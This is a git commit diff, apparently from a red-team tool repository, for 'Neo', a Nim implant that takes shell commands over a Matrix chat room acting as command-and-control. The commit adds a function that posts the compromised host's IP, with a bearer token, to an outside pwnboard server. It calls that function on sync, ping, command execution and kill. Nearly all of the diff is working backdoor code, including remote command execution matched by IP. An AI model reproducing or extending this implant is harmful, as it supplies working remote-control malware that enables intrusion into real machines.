Added pwnboard reporting
This commit is contained in:
parent
1f993e551f
commit
d9afa45065
@ -13,6 +13,9 @@ const
|
|||||||
password: string = "password123"
|
password: string = "password123"
|
||||||
server: string = "matrix.org"
|
server: string = "matrix.org"
|
||||||
roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org"
|
roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org"
|
||||||
|
usePwnboard: bool = true
|
||||||
|
pwnboardUrl: string = "https://pwnboard.win/pwn"
|
||||||
|
pwnboardToken: string = "pwnboard-token-here"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Building
|
## Building
|
||||||
|
|||||||
33
src/main.nim
33
src/main.nim
@ -12,12 +12,33 @@ const
|
|||||||
password: string = ""
|
password: string = ""
|
||||||
server: string = ""
|
server: string = ""
|
||||||
roomId: string = ""
|
roomId: string = ""
|
||||||
|
usePwnboard: bool = true
|
||||||
|
pwnboardurl: string = ""
|
||||||
|
pwnboardToken: string = ""
|
||||||
|
|
||||||
var token: string
|
var token: string
|
||||||
var nextBatch: string
|
var nextBatch: string
|
||||||
var ip: string = $getPrimaryIPAddr()
|
var ip: string = $getPrimaryIPAddr()
|
||||||
var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000
|
var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000
|
||||||
|
|
||||||
|
proc reportPwnBoard(ip: string): void =
|
||||||
|
let client: HttpClient = newHttpClient()
|
||||||
|
client.headers = newHttpHeaders({
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
"Authorization": "Bearer " & pwnboardToken
|
||||||
|
})
|
||||||
|
|
||||||
|
let payload: JsonNode = %*{
|
||||||
|
"ip": ip,
|
||||||
|
"application": "Neo",
|
||||||
|
"access_type": "matrix c2"
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
discard client.post(pwnboardUrl, $payload)
|
||||||
|
except:
|
||||||
|
discard
|
||||||
|
|
||||||
proc matchIp(ip, pattern: string): bool =
|
proc matchIp(ip, pattern: string): bool =
|
||||||
let ipParts = ip.split('.')
|
let ipParts = ip.split('.')
|
||||||
let patternParts = pattern.split('.')
|
let patternParts = pattern.split('.')
|
||||||
@ -80,6 +101,9 @@ proc syncMessages(client: HttpClient): seq[string] =
|
|||||||
if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server:
|
if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server:
|
||||||
messages.add(event["content"]["body"].getStr())
|
messages.add(event["content"]["body"].getStr())
|
||||||
|
|
||||||
|
if usePwnboard:
|
||||||
|
reportPwnBoard(ip)
|
||||||
|
|
||||||
return messages
|
return messages
|
||||||
|
|
||||||
proc sendMessage(client: HttpClient, message: string): void =
|
proc sendMessage(client: HttpClient, message: string): void =
|
||||||
@ -136,6 +160,9 @@ proc main(): void =
|
|||||||
if splitMessage.len >= 1:
|
if splitMessage.len >= 1:
|
||||||
# Ping
|
# Ping
|
||||||
if splitMessage[0] == "!ping":
|
if splitMessage[0] == "!ping":
|
||||||
|
if usePwnboard:
|
||||||
|
reportPwnBoard(ip)
|
||||||
|
|
||||||
if splitMessage.len >= 2:
|
if splitMessage.len >= 2:
|
||||||
if matchIp(ip, splitMessage[1]):
|
if matchIp(ip, splitMessage[1]):
|
||||||
sendMessage(client, "Pong!")
|
sendMessage(client, "Pong!")
|
||||||
@ -145,6 +172,9 @@ proc main(): void =
|
|||||||
# Command
|
# Command
|
||||||
if splitMessage[0] == "!command" and splitMessage.len >= 3:
|
if splitMessage[0] == "!command" and splitMessage.len >= 3:
|
||||||
if matchIp(ip, splitMessage[1]):
|
if matchIp(ip, splitMessage[1]):
|
||||||
|
if usePwnboard:
|
||||||
|
reportPwnBoard(ip)
|
||||||
|
|
||||||
var commandOutput: string
|
var commandOutput: string
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@ -161,6 +191,9 @@ proc main(): void =
|
|||||||
# Kill
|
# Kill
|
||||||
if splitMessage[0] == "!kill" and splitMessage.len >= 2:
|
if splitMessage[0] == "!kill" and splitMessage.len >= 2:
|
||||||
if matchIp(ip, splitMessage[1]):
|
if matchIp(ip, splitMessage[1]):
|
||||||
|
if usePwnboard:
|
||||||
|
reportPwnBoard(ip)
|
||||||
|
|
||||||
quit()
|
quit()
|
||||||
|
|
||||||
except:
|
except:
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user